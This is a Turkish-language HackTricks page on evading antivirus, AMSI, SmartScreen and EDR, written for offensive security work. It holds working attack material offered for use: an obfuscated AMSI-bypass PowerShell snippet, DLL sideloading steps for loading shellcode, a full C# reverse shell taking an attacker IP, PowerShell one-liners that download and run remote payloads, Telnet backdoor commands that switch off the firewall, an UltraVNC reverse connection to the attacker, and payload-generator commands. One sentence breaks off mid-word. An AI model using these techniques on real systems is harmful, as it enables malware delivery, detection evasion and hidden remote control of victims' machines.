Antivirus (AV) Bypass

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Bu sayfa @m2rc_p** tarafından yazılmıştır!**

AV Kaçınma Metodolojisi

Şu anda, AV'ler bir dosyanın kötü amaçlı olup olmadığını kontrol etmek için farklı yöntemler kullanır, statik tespit, dinamik analiz ve daha gelişmiş EDR'ler için davranış analizi.

Statik tespit

Statik tespit, bir ikili veya betikte bilinen kötü amaçlı dizeleri veya baytları işaretleyerek ve ayrıca dosyadan bilgi çıkararak (örneğin dosya açıklaması, şirket adı, dijital imzalar, simge, toplam kontrol toplamı vb.) başarılır. Bu, bilinen genel araçları kullanmanın sizi daha kolay yakalatabileceği anlamına gelir, çünkü muhtemelen analiz edilmiş ve kötü amaçlı olarak işaretlenmişlerdir. Bu tür tespitleri atlatmanın birkaç yolu vardır:

  • Şifreleme

Eğer ikili dosyayı şifrelerseniz, AV'nin programınızı algılama şansı olmayacaktır, ancak programı bellekte şifrelemek ve çalıştırmak için bir yükleyiciye ihtiyacınız olacaktır.

  • Karıştırma

Bazen AV'yi atlatmak için yapmanız gereken tek şey, ikili dosyanızdaki bazı dizeleri değiştirmektir, ancak bu, karıştırmak istediğiniz şeye bağlı olarak zaman alıcı bir görev olabilir.

  • Özel araçlar

Kendi araçlarınızı geliştirirseniz, bilinen kötü imzalar olmayacaktır, ancak bu çok zaman ve çaba gerektirir.

Windows Defender statik tespitine karşı kontrol etmek için iyi bir yol ThreatCheck. Temelde dosyayı birden çok segmente böler ve sonra Defender'a her birini ayrı ayrı taratmasını ister, bu şekilde, ikili dosyanızdaki işaretlenmiş dizeleri veya baytları tam olarak söyleyebilir.

Pratik AV Kaçınma hakkında bu YouTube çalma listesini kesinlikle incelemenizi öneririm.

Dinamik analiz

Dinamik analiz, AV'nin ikili dosyanızı bir kum havuzunda çalıştırması ve kötü amaçlı faaliyetleri izlemesi durumudur (örneğin, tarayıcınızın şifrelerini çözmeye ve okumaya çalışmak, LSASS üzerinde minidump yapmak vb.). Bu kısım biraz daha zor olabilir, ancak kum havuzlarını atlatmak için yapabileceğiniz bazı şeyler şunlardır.

  • Çalışmadan önce uyuma Uygulamanın nasıl uygulandığına bağlı olarak, AV'nin dinamik analizini atlatmanın harika bir yoludur. AV'ler dosyaları tarayabilmek için çok kısa bir süreye sahiptir, bu nedenle uzun uyumalar kullanmak, ikili dosyaların analizini bozabilir. Sorun şudur ki, birçok AV kum havuzları, uygulamanın nasıl uygulandığına bağlı olarak uykuyu atlayabilir.

  • Makinenin kaynaklarını kontrol etme Genellikle Kum havuzlarının çalışması için çok az kaynağı vardır (örneğin, < 2GB RAM), aksi takdirde kullanıcının makinesini yavaşlatabilirler. Burada çok yaratıcı olabilirsiniz, örneğin CPU sıcaklığını veya hatta fan hızlarını kontrol ederek, her şeyin kum havuzunda uygulanmayacağını görebilirsiniz.

  • Makineye özgü kontroller "contoso.local" alanına katılmış bir iş istasyonuna hedeflenmek istiyorsanız, bilgisayarın alanını kontrol edebilir ve belirttiğinizle eşleşip eşleşmediğini görebilirsiniz, eşleşmiyorsa, programınızı sonlandırabilirsiniz.

Microsoft Defender'ın Kum havuzu bilgisayar adının HAL9TH olduğu ortaya çıktı, bu nedenle, patlamadan önce kötü amaçlı yazılımınızda bilgisayar adını kontrol edebilirsiniz, ad HAL9TH ile eşleşirse, bu Defender'ın kum havuzunda olduğunuzu gösterir, bu nedenle programınızı sonlandırabilirsiniz.

@mgeeky tarafından Kum Havuzlarına karşı kullanabileceğiniz bazı gerçekten iyi ipuçları

Bu gönderide daha önce belirttiğimiz gibi, genel araçlar sonunda algılanacaktır, bu nedenle, kendinize şunu sormalısınız:

Örneğin, LSASS'ı dökmek istiyorsanız, gerçekten mimikatz kullanmanız mı gerekiyor? Yoksa daha az bilinen ve aynı zamanda LSASS'ı döken farklı bir projeyi mi kullanabilirsiniz.

Doğru cevap muhtemelen ikincisidir. Mimikatz'ı bir örnek olarak alırsak, muhtemelen AV'ler ve EDR'ler tarafından en çok işaretlenen kötü amaçlı yazılımlardan biri, hatta belki de en çok işaretlenenidir, projenin kendisi süper harika olsa da, AV'leri atlatmak için onunla çalışmak da kabus olabilir, bu nedenle ulaşmaya çalıştığınız şey için alternatiflere bakın.

Kaçınma için yüklemelerinizi değiştirirken, lütfen Defender'da otomatik örnek göndermeyi kapatın ve lütfen, ciddi anlamda, VIRUSTOTAL'A YÜKLEMEYİNİZ eğer amacınız uzun vadede kaçınma ise. Belirli bir AV tarafından yüklemenizin algılanıp algılanmadığını kontrol etmek istiyorsanız, otomatik örnek göndermeyi kapatmaya çalışın ve sonuca kadar orada test edin.

EXE'ler vs DLL'ler

Mümkün olduğunda, her zaman kaçınma için DLL'leri tercih edin, deneyimime göre, DLL dosyaları genellikle çok daha az algılanır ve analiz edilir, bu nedenle bazı durumlarda algılanmadan kaçınmak için kullanabileceğiniz çok basit bir hile yöntemidir (tabii ki yüklemenizin bir DLL olarak çalışma yolu varsa).

Bu görüntüde görebileceğimiz gibi, Havoc'tan bir DLL Yüklemesi antiscan.me'de 4/26 algılama oranına sahipken, EXE yüklemesi 7/26 algılama oranına sahiptir.

Şimdi, DLL dosyalarıyla çok daha gizli olmanızı sağlayacak bazı hileler göstereceğiz.

DLL Yan Yükleme ve Proxying

DLL Yan Yükleme, yükleyici tarafından kullanılan DLL arama sırasından faydalanarak hem kurban uygulamayı hem de kötü niyetli yük(ler)i yan yana konumlandırarak gerçekleştirilir.

DLL Yan Yükleme'ye duyarlı programları kontrol etmek için Siofra ve aşağıdaki powershell betiği kullanılabilir:

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

Bu komut, "C:\Program Files\" içinde DLL hijacking'e duyarlı programların listesini ve yüklemeye çalıştıkları DLL dosyalarını çıkaracaktır.

DLL Hijackable/Sideloadable programları kendiniz keşfetmenizi şiddetle öneririm, bu teknik uygun şekilde yapıldığında oldukça gizlidir, ancak genel olarak bilinen DLL Sideloadable programlarını kullanırsanız, kolayca yakalanabilirsiniz.

Sadece bir programın yüklemeyi beklediği bir kötü niyetli DLL'yi yerleştirmek, yüklemenize neden olmaz, çünkü program o DLL içinde belirli fonksiyonları bekler, bu sorunu düzeltmek için başka bir teknik olan DLL Proxying/Forwarding'i kullanacağız.

DLL Proxying, programın proxy (ve kötü niyetli) DLL'den yaptığı çağrıları orijinal DLL'ye yönlendirir, böylece programın işlevselliğini korur ve yüklemenizin yürütülmesini ele alabilir.

SharpDLLProxy projesini @flangvik tarafından kullanacağım.

İzlediğim adımlar şunlardır:

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

Son komut bize 2 dosya verecektir: bir DLL kaynak kodu şablonu ve orijinal yeniden adlandırılmış DLL.

5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.

Bu sonuçlar şunlardır:

Hem shellcode'umuz (SGN ile kodlanmış) hem de proxy DLL, antiscan.me sitesinde 0/26 Algılama oranına sahip! Bunu bir başarı olarak adlandırırdım.

DLL Sideloading hakkında daha fazla bilgi edinmek için S3cur3Th1sSh1t'in twitch VOD'unu ve ippsec'in videosunu izlemenizi şiddetle öneririm.

Freeze, askıya alınmış işlemleri, doğrudan sistem çağrılarını ve alternatif yürütme yöntemlerini kullanarak EDR'leri atlatmak için bir yük araç setidir

Freeze'yi kullanarak shellcode'unuzu gizlice yükleyip yürütebilirsiniz.

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

Kaçınma sadece bir kedi fare oyunudur, bugün işe yarayan yarın tespit edilebilir, bu yüzden sadece bir araca güvenmeyin, mümkünse birden fazla kaçınma tekniğini birleştirmeyi deneyin.

AMSI (Anti-Malware Tarama Arayüzü)

AMSI, "dosyasız kötü amaçlı yazılım" yaratmak için oluşturulmuştur. Başlangıçta, AV'ler yalnızca diskteki dosyaları tarayabiliyordu, bu yüzden eğer bir şekilde yüklemeleri doğrudan bellekte çalıştırabilirseniz, AV'nin bunu engellemek için yeterli görünürlüğü olmadığından hiçbir şey yapamazdı.

AMSI özelliği Windows'un şu bileşenlerine entegre edilmiştir.

  • Kullanıcı Hesap Kontrolü veya UAC (EXE, COM, MSI veya ActiveX yükseltmesi)

  • PowerShell (betikler, etkileşimli kullanım ve dinamik kod değerlendirmesi)

  • Windows Betik Ana Bilgisayarı (wscript.exe ve cscript.exe)

  • JavaScript ve VBScript

  • Ofis VBA makroları

Antivirüs çözümlerine betik davranışlarını inceleme olanağı tanır, betik içeriğini şifrelenmemiş ve şifrelenmemiş bir formda açığa çıkararak.

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') komutunu çalıştırmak Windows Defender'da aşağıdaki uyarıyı üretecektir.

Dikkat edin, betik çalıştığı yürütülebilir dosyanın yolunu, bu durumda powershell.exe'yi öne alır ve ardından amsi: ekler.

Diskte herhangi bir dosya bırakmadık, ancak hala AMSI nedeniyle bellekte yakalandık.

AMSI'yi atlatmanın birkaç yolu vardır:

  • Gizleme

AMSI genellikle statik tespitlerle çalıştığından, yüklemeye çalıştığınız betikleri değiştirmek tespit edilmeyi atlatmanın iyi bir yol olabilir.

Ancak, AMSI, birden fazla katmana sahip olsa bile betikleri şifre çözebilme yeteneğine sahiptir, bu nedenle şifreleme, nasıl yapıldığına bağlı olarak kötü bir seçenek olabilir. Bu, atlatmanın o kadar da kolay olmadığını yapar. Yine de, bazen yapmanız gereken tek şey birkaç değişken adını değiştirmektir ve iyi olacaksınız, bu yüzden bir şeyin ne kadar işaretlendiğine bağlıdır.

  • AMSI Atlatma

AMSI, bir DLL'yi powershell (ayrıca cscript.exe, wscript.exe vb.) işlemine yükleyerek uygulandığından, bu hata uygulaması nedeniyle, araştırmacılar AMSI taramasını atlatmanın birden fazla yolunu bulmuşlardır.

Hata Zorlamak

AMSI başlatmasını başarısız kılmak (amsiInitFailed), mevcut işlem için hiçbir tarama başlatılmayacağı anlamına gelir. Başlangıçta bu, Matt Graeber tarafından açıklanmış ve Microsoft daha geniş kullanımı önlemek için bir imza geliştirmiştir.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Yalnızca bir satır powershell kodu gerekiyordu mevcut powershell işlemi için AMSI'nin kullanılamaz hale getirilmesi. Bu satır elbette AMSI tarafından işaretlendi, bu nedenle bu teknik kullanılmak için bazı değişiklikler gerekmektedir.

İşte bu Github Gist'ten aldığım değiştirilmiş AMSI bypass.

Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

Bellekte Yama Yapma

Bu teknik başlangıçta @RastaMouse tarafından keşfedildi ve "AmsiScanBuffer" işlevi için amsi.dll'de (kullanıcı tarafından sağlanan girişi tarayan işlev) adres bulmayı ve bunu E_INVALIDARG koduna geri dönmek için talimatlarla üzerine yazmayı içerir, bu şekilde gerçek tarama sonucu 0 olarak dönecek ve temiz bir sonuç olarak yorumlanacaktır.

Daha detaylı bir açıklama için https://rastamouse.me/memory-patching-amsi-bypass/ adresini okuyun.

AMSI'yi powershell ile atlatmak için kullanılan birçok başka teknik de bulunmaktadır, bunlar hakkında daha fazla bilgi edinmek için bu sayfaya ve bu depoya göz atabilirsiniz.

Veya bu betik, bellekte yama yaparak her yeni Powersh

Karıştırma

C# açık metin kodunu karıştırmak, metaprogramlama şablonları oluşturarak derlenmiş ikili dosyaları veya derlenmiş ikili dosyaları karıştırmak için kullanılabilecek birkaç araç bulunmaktadır:

  • InvisibilityCloak: C# karıştırıcı

  • Obfuscator-LLVM: Bu proje, LLVM derleme paketinin açık kaynak bir çatalını sağlayarak kod karıştırma ve müdahaleye karşı artan yazılım güvenliği sağlamayı amaçlamaktadır.

  • ADVobfuscator: ADVobfuscator, derleme zamanında harici bir araç kullanmadan ve derleyiciyi değiştirmeden C++11/14 dilini kullanarak karışık kod üretmenin nasıl yapıldığını göstermektedir.

  • obfy: Uygulamayı kırmak isteyen kişinin işini biraz zorlaştıracak C++ şablon metaprogramlama çerçevesi tarafından oluşturulan karışık işlemler katmanı ekleyin.

  • Alcatraz: Alcatraz, .exe, .dll, .sys dahil olmak üzere çeşitli farklı pe dosyalarını karıştırabilen bir x64 ikili karıştırıcıdır.

  • metame: Metame, herhangi bir yürütülebilir dosya için basit bir metamorfik kod motorudur.

  • ropfuscator: ROPfuscator, ROP (return-oriented programming) kullanarak LLVM destekli diller için ince taneli bir kod karıştırma çerçevesidir. ROPfuscator, normal kontrol akışımızı bozan düzenli talimatları ROP zincirlerine dönüştürerek bir programı derleme kodu seviyesinde karıştırır.

  • Nimcrypt: Nimcrypt, Nim'de yazılmış bir .NET PE Şifreleyicisidir.

  • inceptor: Inceptor, mevcut EXE/DLL'leri shellcode'a dönüştürebilen ve ardından yükleyebilen bir araçtır.

SmartScreen ve MoTW

İnternetten bazı yürütülebilir dosyaları indirirken ve çalıştırırken bu ekranı görmüş olabilirsiniz.

Microsoft Defender SmartScreen, son kullanıcıyı potansiyel olarak kötü amaçlı uygulamaları çalıştırmaktan korumayı amaçlayan bir güvenlik mekanizmasıdır.

SmartScreen genellikle bir itibar tabanlı yaklaşımla çalışır, yani nadiren indirilen uygulamalar SmartScreen'ı tetikler ve böylece son kullanıcıya dosyayı çalıştırmadan önce uyarı verir (ancak dosya yine de Daha Fazla Bilgi -> Yine de Çalıştır'a tıklanarak çalıştırılabilir).

MoTW (Mark of The Web), İnternetten dosyalar indirildiğinde otomatik olarak oluşturulan ve indirilen dosyanın yanı sıra indirildiği URL'yi de içeren Zone.Identifier adlı bir NTFS Alternatif Veri Akışı'dir.

Güvenilir bir imzalama sertifikası ile imzalanan yürütülebilir dosyaların SmartScreen'ı tetiklemeyeceğini unutmamak önemlidir.

Yüklerinizi Mark of The Web'den korumanın çok etkili bir yolu, onları bir ISO gibi bir tür konteynerin içine paketlemektir. Bu, Mark-of-the-Web (MOTW)'nin NTFS dışı birimlere uygulanamamasından kaynaklanmaktadır.

PackMyPayload, yüklerinizi Mark-of-the-Web'den kaçınmak için çıktı konteynerlerine paketleyen bir araçtır.

Kullanım örneği:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

İşte SmartScreen'i bypass etmek için ISO dosyaları içine yüklenen yükleri kullanarak PackMyPayload kullanarak bir demo.

C# Montaj Yansıması

C# ikili dosyalarını belleğe yükleme uzun süredir bilinmekte ve hala AV tarafından yakalanmadan post-exploitation araçlarını çalıştırmanın harika bir yoludur.

Yük, disk dokunulmadan doğrudan belleğe yükleneceğinden, sadece AMSI'yi tüm süreç için yamalamakla ilgilenmemiz gerekecek.

Çoğu C2 çerçevesi (sliver, Covenant, metasploit, CobaltStrike, Havoc, vb.) zaten C# montajlarını doğrudan bellekte yürütme yeteneği sağlar, ancak bunu yapmanın farklı yolları vardır:

  • Çatalla ve Çalıştır

Bu, yeni bir fedakar süreç başlatmayı, post-exploitation kötü niyetli kodunuzu bu yeni sürece enjekte etmeyi, kötü niyetli kodunuzu yürütmeyi ve işiniz bittiğinde yeni süreci sonlandırmayı içerir. Çatalla ve çalıştır yönteminin avantajı, yürütmenin Beacon implant sürecimizin dışında gerçekleşmesidir. Bu, post-exploitation eylemimizde bir şeyler yanlış gider veya yakalanırsa, implantımızın hayatta kalma şansının çok daha yüksek olması anlamına gelir. Dezavantajı ise Davranışsal Algılamalar tarafından yakalanma şansınızın daha yüksek olmasıdır.

  • Satır İçi

Bu, post-exploitation kötü niyetli kodu kendi sürecine enjekte etmek hakkındadır. Bu şekilde, yeni bir süreç oluşturmak ve AV tarafından taranmasını önlemekten kaçınabilirsiniz, ancak yükünüzün yürütülmesinde bir sorun çıkarsa, beacon'ınızı kaybetme şansınızın çok daha yüksek olduğu bir dezavantajı vardır.

C# Montaj yükleme hakkında daha fazla bilgi edinmek isterseniz, lütfen bu makaleye göz atın https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ ve InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly)

Ayrıca C# Montajlarını PowerShell'den yükleyebilirsiniz, Invoke-SharpLoader ve S3cur3th1sSh1t'in videosuna göz atın.

Diğer Programlama Dillerini Kullanma

https://github.com/deeexcee-io/LOI-Bins önerildiği gibi, Kompromize edilmiş makineye, Saldırgan Kontrolü Altındaki SMB paylaşımına yüklenen yorumlayıcı ortamına erişim vererek diğer dilleri kullanarak kötü niyetli kodu yürütmek mümkündür.

SMB paylaşımındaki Yorumlayıcı İkili dosyalarına ve ortama erişime izin vererek, kompromize edilmiş makinenin belleğinde bu dillerde keyfi kod yürütebilirsiniz.

Repo, Savunucu'nun hala betikleri taramasını yaptığını ancak Go, Java, PHP vb. kullanarak statik imzaları atlatmak için daha fazla esnekliğe sahip olduğumuzu belirtir. Bu dillerde rastgele obfuskasyon olmayan ters kabuk betiklerinin test edilmesi başarılı olmuştur.

Gelişmiş Kaçınma

Kaçınma çok karmaşık bir konudur, bazen sadece bir sistemde birçok farklı telemetri kaynağını dikkate almanız gerekebilir, bu nedenle olgun ortamlarda tamamen algılanmadan kalmak neredeyse imkansızdır.

Karşı karşıya geldiğiniz her ortamın kendi güçlü ve zayıf yönleri olacaktır.

Daha Gelişmiş Kaçınma tekniklerine daha fazla bilgi edinmek için @ATTL4S tarafından yapılan bu konuşmayı izlemenizi şiddetle tavsiye ederim.

Bu ayrıca @mariuszbit tarafından Kaçınma Hakkında Derinlemesine yapılan başka harika bir konuşmadır.

Eski Teknikler

Defender'ın hangi bölümleri kötü niyetli bulduğunu kontrol edin

ThreatCheck kullanabilirsiniz, bu, Defender'ın hangi bölümünü kötü niyetli olarak bulduğunu belirleyene kadar ikili dosyanın bölümlerini kaldıracaktır ve size ayıracaktır. Aynı şeyi yapan başka bir araç avred ile https://avred.r00ted.ch/ adresinde hizmet sunan açık bir web sunan hizmeti vardır.

Telnet Sunucusu

Windows10'a kadar, tüm Windows'lar yüklenebileceğiniz bir Telnet sunucusu ile birlikte gelirdi (yönetici olarak) şunları yaparak:

pkgmgr /iu:"TelnetServer" /quiet

Başlangıçta başlat ve şimdi çalıştır:

sc config TlntSVR start= auto obj= localsystem

Telnet portunu değiştirin (gizli) ve güvenlik duvarını devre dışı bırakın:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

İndirme bağlantısı: http://www.uvnc.com/downloads/ultravnc.html (kurulum değil, bin indirmelerini istiyorsunuz)

SUNUCUDA: winvnc.exe dosyasını çalıştırın ve sunucuyu yapılandırın:

  • Disable TrayIcon seçeneğini etkinleştirin

  • VNC Password alanına bir şifre belirleyin

  • View-Only Password alanına bir şifre belirleyin

Daha sonra, winvnc.exe ve yeni oluşturulan UltraVNC.ini dosyasını kurbanın içine taşıyın

Ters bağlantı

Saldırgan, saldırganın sunucusunda vncviewer.exe -listen 5900 komutunu çalıştırmalıdır böylece ters VNC bağlantısını almak için hazır olacaktır. Daha sonra, kurbanda: winvnc daemon'ı başlatın winvnc.exe -run ve winwnc.exe [-autoreconnect] -connect <saldırgan_ip>::5900 komutunu çalıştırın

UYARI: Gizliliği korumak için bazı şeyleri yapmamalısınız

  • Zaten çalışıyorsa winvnc başlatmayın veya bir pencere açılacaktır. Çalışıp çalışmadığını kontrol etmek için tasklist | findstr winvnc komutunu kullanın

  • Aynı dizinde UltraVNC.ini olmadan winvnc başlatmayın aksi takdirde yapılandırma penceresi açılacaktır

  • Yardım için winvnc -h komutunu çalıştırmayın aksi takdirde bir pencere açılacaktır

GreatSCT

İndirme bağlantısı: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

GreatSCT içinde:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

Şimdi msfconsole -r file.rc komutu ile lister'ı başlatın ve aşağıdaki komutu kullanarak xml payload'ı çalıştırın:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

Mevcut savunucu işlemi çok hızlı bir şekilde sonlandıracaktır.

Kendi ters kabuk dosyamızı derleme

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

İlk C# Ters Kabuk

Şununla derleyin:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

Kullanımı:

back.exe <ATTACKER_IP> <PORT>
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

C# derleyici kullanımı

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066

REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

Otomatik indirme ve yürütme:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

C# obfuscators list: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

Python kullanarak enjektörler oluşturma örneği:

Diğer araçlar

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

Daha Fazla

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated